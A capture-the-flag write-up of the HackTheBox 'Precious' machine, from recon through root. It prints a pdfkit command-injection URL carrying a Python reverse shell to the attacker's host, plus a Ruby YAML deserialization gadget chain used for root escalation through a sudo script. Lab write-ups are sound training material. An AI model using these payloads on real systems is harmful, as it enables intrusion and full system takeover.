📔
Notes
WebsiteSwitch to Projects
  • Table of Contents
  • AAS in Network Technology
    • Table of Contents
    • Semester 1
    • Semester 2
      • ITNW 1358
      • ITSC 1321
      • ITCC 1314
      • ITSY 1300
  • HackTheBox - Challenges
    • Hardware
      • stuff
  • HackTheBox - Machines
    • Curling
    • Heist
    • Photobomb
    • Precious
    • Support
Powered by GitBook
On this page
  • Recon
  • Web Server
  • Privilege Escalation
  1. HackTheBox - Machines

Precious

Easy - Linux

Recon

$ sudo nmap -T4 -sC -sV -O 10.10.11.189 -oN nmap.txt
nmap.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 18:06 CST
Nmap scan report for 10.10.11.189
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=12/5%OT=22%CT=1%CU=39026%PV=Y%DS=2%DC=I%G=Y%TM=638E87D
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%TS=A)OPS(O1=M537ST11NW7%O2=M537ST11NW7%O
OS:3=M537NNT11NW7%O4=M537ST11NW7%O5=M537ST11NW7%O6=M537ST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M537NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.25 seconds
/etc/hosts
10.10.11.189    precious.htb
$ nikto -h precious.htb
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          10.10.11.189
+ Target Hostname:    precious.htb
+ Target Port:        80
+ Start Time:         2022-12-05 18:09:47 (GMT-6)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
+ Retrieved x-powered-by header: Phusion Passenger(R) 6.0.15
+ Uncommon header 'x-frame-options' found, with contents: SAMEORIGIN
+ Uncommon header 'x-xss-protection' found, with contents: 1; mode=block
+ Uncommon header 'x-content-type-options' found, with contents: nosniff
+ Uncommon header 'x-runtime' found, with contents: Ruby
+ Uncommon header 'x-cascade' found, with contents: pass
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server banner has changed from 'nginx/1.18.0 + Phusion Passenger(R) 6.0.15' to 'nginx/1.18.0' which may suggest a WAF, load balancer or proxy is in place

Web Server

Heading on over to the web server, we see a pretty simple page. The service contains a text input which expects a URL, and a submit button. On submit, the service will attempt to load the URL and convert that web page to a PDF. Let's try it out.

~/Precious/index.html
<html>
    <body>
        <h1>Hello world</h1>
        <p>Hi there</p>
    </body>
</html>
$ python -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
10.10.11.189 - - [05/Dec/2022 18:16:14] "GET / HTTP/1.1" 200 -

Sure enough, it converted my simple HTML to a PDF. Let's dig at the PDF.

$ pdfinfo iksnt7830xg5adtacget78ne90kxk44d.pdf
Creator:        Generated by pdfkit v0.8.6
Tagged:         no
UserProperties: no
Suspects:       no
Form:           none
JavaScript:     no
Pages:          1
Encrypted:      no
Page size:      612 x 792 pts (letter)
Page rot:       0
File size:      15785 bytes
Optimized:      no
PDF version:    1.4
Raw Payload
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.52",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
http://10.10.16.52/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.52",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
~/htb/labs/Precious $ nc -lvkp 4242
listening on [any] 4242 ...
connect to [10.10.16.52] from precious.htb [10.10.11.189] 42542
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)

I'm in. Time to dig. There is another user named henry and the user flag is in his home directory, but we can't access it. There wasn't much in ruby's home directory, although looking through a hidden .bundle directory, we find credentials for henry in a config file. Huh. Alright.

$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:REDACTED"
$ su henry
Password: 
$ id
uid=1000(henry) gid=1000(henry) groups=1000(henry)

Nice. I'm in again. Let's grab the user flag and try our hand on privilege escalation.

Privilege Escalation

$ sudo -l
...

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

No SETENV though, that's better. Let's check out that script.

/opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end
~/dependencies.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id # our command to inject
         method_id: :resolve
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb 
uid=0(root) gid=0(root) groups=0(root)

Thank you GitHub. Let's change that git_set value to bash to spawn a shell instead of calling id.

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb 
root@precious:/home/henry# cat /root/root.txt
REDACTED
root@precious:/home/henry#

Another one done!

PreviousPhotobombNextSupport

Last updated 2 years ago

After some research, I've discovered that pdfkit versions 0.8.7 and below are vulnerable to a where the arguments are not properly sanitized. We'll utilize shell command substitution to spin up a reverse shell. Let's try a Python payload from .

Once again, just like in , this user has a NOPASSWD entry in sudo privileges that points to a custom script:

At first glance, I couldn't see much, apart from that dependencies.yml load as there were no strict checks. I remember looking back at the a few days ago just to catch up to speed. , that's it. Alright let's setup our to be deserialized.

command injection attack
this cheat sheet
Photobomb
OWASP Top 10
Insecure deserialization
payload
Page cover image